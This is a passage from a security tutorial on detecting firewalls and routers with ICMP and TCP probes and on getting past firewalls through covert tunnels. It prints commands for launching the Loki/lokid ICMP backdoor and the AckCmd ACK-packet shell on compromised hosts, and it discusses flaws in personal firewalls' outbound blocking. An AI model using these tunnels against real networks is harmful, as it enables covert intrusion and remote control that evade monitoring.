[root@localhost]#icmpush -vv -mask 10.10.1.17 -> Outgoing interface = 10.10.1.1 -> ICMP total size = 12 bytes -> Outgoing interface = 10.10.1.1 -> MTU = 1500 bytes -> Total packet size (ICMP + IP) = 32 bytes ICMP Address Mask Request packet sent to 10.10.1.17 (10.10.1.17) Receiving ICMP Replies... icmpush: program finished OK The above is an example of an ICMP Type 17, Address Mask Request, sent to a linux system, thus receiving no reply. BSD: BSD network code has been optimized not to reply to Syn/Ack packets. Architecture might be a reason why, but it also might help with detecting/guessing the operating system. The other operating systems, included Linux, and our thoughtful Windows both responded to this technique successfully, with examples shown above. [root@localhost]#hping 10.10.1.17 -c1 -p 23 -S -A hping 10.10.1.17 (eth0 10.10.1.17) : SA set, 40 data bytes Shown above, is the act of using hping to send a TCP packet flagged with the Syn/Ack bits. This packet was sent to a BSD system, and thus no reply has been obtained.

Routers: Using ICMP techniques, we can also detect routers. Detecting a router is quite simple, and useful. Using ICMP Type 10, Router Solicitation, sent to a system we assume is a router, we can then check to see if an ICMP Type 9, Router Advertisement, packet was responded with.

[root@localhost]#icmpush -vv -rts 10.10.1.16 -> Outgoing interface = 10.10.1.1 -> ICMP total size = 20 bytes -> Outgoing interface = 10.10.1.1 -> MTU = 1500 bytes -> Total packet size (ICMP + IP) = 40 bytes ICMP Router Solicitation packet sent to 10.10.1.16 (10.10.1.16) Receiving ICMP replies... 10.10.1.16 -> Router Advertisement (10.10.1.16) icmpush: Program finished OK We have now discovered a router on the network, which might be the one filtering packets to the rest of the network. This technique is very helpful, and simple when you just can't find out what a system is. Penetration of the firewall: Well, you've discovered the firewall, discovered and mapped out its ACL. You've found the system that you are craving to communicate with. How would you do this? Bypass the firewall, continuously while communicating with the system. Not such a hard objective with certain tools at hand. Protocol Tunneling: Protocol tunneling is the act of embedding commands of one protocol in another. We have seen certain Trojans implement these techniques. And as the common techniques they used got more and more public, and security-aware, admins have begun to filter out the protocols that they used, in the most common scenario, TCP and UDP. Still, most admins have yet to be surprised with what protocols are being used for tunneling, and how badly their firewalls can be punctured. ICMP/UDP Tunneling: As said before, most admins will block ICMP Type 8 and ICMP Type 0 packets, but still, some will not. ICMP Tunneling wraps commands and data in ICMP Headers. A Program, Loki/Lokid, executes this

technique in the most simple form. As quoted here: "The concept of the Loki Project is simple: arbitrary information tunneling in the data portion of ICMP_ECHO and ICMP_ECHOREPLY packets. Loki exploits the Advanced/Other Techniques for By Passing Firewalls covert channel that exists inside of ICMP_ECHO traffic. This channel exists because network devices do not filter the contents of ICMP_ECHO traffic. They simply pass them, drop them, or return them. The trojan packets themselves are masqueraded as common ICMP_ECHO traffic. We can encapsulate (tunnel) any information we want. From here on out, Loki traffic will refer to ICMP_ECHO traffic that tunnels information. (Astute readers will note that Loki is simply a form of steganography)." Reading this, it'll prove that loki/lokid shows as basic traffic. Also, as noted in the same document that the passage was quoted from, Loki was not aimed as a 'firewall penetration tool', rather to transport data in much more covert methods. As for firewall penetration, Loki's server, lokid, must be setup on the compromised system, or a system behind the firewall. [root@localhost]#lokid -p -i -v 1 And then to connect the client with the whole tunneling scheme. [root@localhost]#loki -d 10.10.1.17 -p -i -v 1 -t 3 ICMP tunneling has proven to be very effective, since your typical firewall allows ICMP packets through, thus making loki/lokid one of the most powerful backdoors around. TCP Ack Tunneling: Reviewing the way a TCP/IP handshake works, a Syn packet is sent, then a Syn/Ack packet is recieved, then an Ack packet is sent back, right? Well, your typical admin might assume that any Ack packet is part of a handshake, or connection scheme. They will believe, just like with ICMP/UDP tunneling, that the traffic is normal.

The ideal program for this, is AckCmd. While still at the demonstration/prototype stage, it proves the strength and deception of this technique, with firewalls. Like Loki/Lokid, AckCmd is composed of a client section and a server section. The server is run on a host, and the client is used to communicate with the server. The client part of the prototype uses only ACK packets to communicate with the server part. Now the packets pass through the firewall as if they're typical traffic. As long as the client is aware of the IP of the server. C:>ackcmds.exe This command runs the server part of AckCmd. This is run on the host behind the firewall. C:>ackcmdc.exe 10.10.1.17 This command initiates the client part of AckCmd, followed by the IP that the server is run on. After that you will be welcomed with an "AckCmd>" prompt. OutBound Traffic: "Recently, vulnerabilities in outbound blocking of Personal Firewalls have raised serious concerns about the level of security provided by personal firewall vendors. Industry analysts and security researchers have correctly pointed out flaws in the implementation of outbound blocking in popular personal firewalls. Essentially, the vulnerabilities allow malicious programs to circumvent outbound blocking by inserting code into "trusted applications" or circumventing the Microsoft TCP/IP stack by creating a custom protocol driver that can send TCP/IP packets. The next generations of commonly available Trojans are likely to exploit these vulnerabilities. In fact, security researchers have already developed tools that can get through personal firewalls even when they are set to "Block All" traffic." As shown in the quote, taken from http://www.sygate.com/alerts/Outbound-Blocking.htm, Personal Firewalls have been tested to check if they stop OutBound traffic, and several of them have failed. This topic has been covered in full detail: http://keir.net/firehole.html http://www.hackbusters.net/ob.html

http://online.securityfocus.com/archive/1/244026 http://grc.com/lt/leaktest.htm Programs that exploit these problems have only been used for penetration testing, and not for malicious use :). Conclusion: Many firewalls provide a very well configurated rulebase that will not allow your typical malicious packets through, yet with the discovery of new techniques, its been possible to let typical packets through, that have malicious content. Packets that look like everday traffic, have now been manipulated to have a hidden meaning. This hidden meaning has caused good products, and bad products. From using a highly covert channel inside another protocol to transfer classified data, to using a highly covert channel inside another protocol to bypass a barrier. References AckCmd - http://ntsecurity.nu/toolbox/ackcmd/ Project Loki/Lokid - http://phrack.org/show.php?p=49&a=6 Advanced Host Detection - http://packetstormsecurity.nl/papers/protocols/host-detection.pdf Firewall/VPN/Intrusion Detection Systems - http://www.is-it-true.org/fw/ Firehole - http://keir.net/firehole.html Leaktest - http://grc.com/lt/leaktest.htm Sygate Security Alerts - http://www.sygate.com/alerts/Outbound-Blocking.htm Outbound Traffic Flaws - http://www.securityfocus.com/archive/1/244026 HackBuster's OutBound Flaw Program - http://www.hackbusters.net/ob.html Hping - http://packetstormsecurity.org/UNIX/scanners/hping2.0.0-rc1.tar.gz Loki/Lokid - http://packetstormsecurity.org/crypt/LIBS/loki/loki-3.0.tar.gz